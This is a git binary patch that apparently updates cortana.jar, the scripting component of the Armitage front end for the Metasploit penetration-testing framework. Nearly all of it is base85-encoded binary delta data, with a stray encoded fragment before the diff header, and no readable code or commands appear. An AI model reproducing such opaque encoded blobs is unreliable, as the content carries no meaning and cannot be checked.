z63$-%Q1KfDKlW0KBI$`qIDd>!Z3?l!qbS%koWB9WCM+d39vyXK?8fSkGIJZzXwz_S T^;M&*My(bZ8faRC!9D*2!Nv77 diff --git a/data/armitage/cortana.jar b/data/armitage/cortana.jar index 94bebc6eac43b16d820a1027fa953a2b29c78b68..7c1da6dbfa1c3265b31fcf73b613ad13d5c408e0 100644 GIT binary patch delta 119438 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� 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 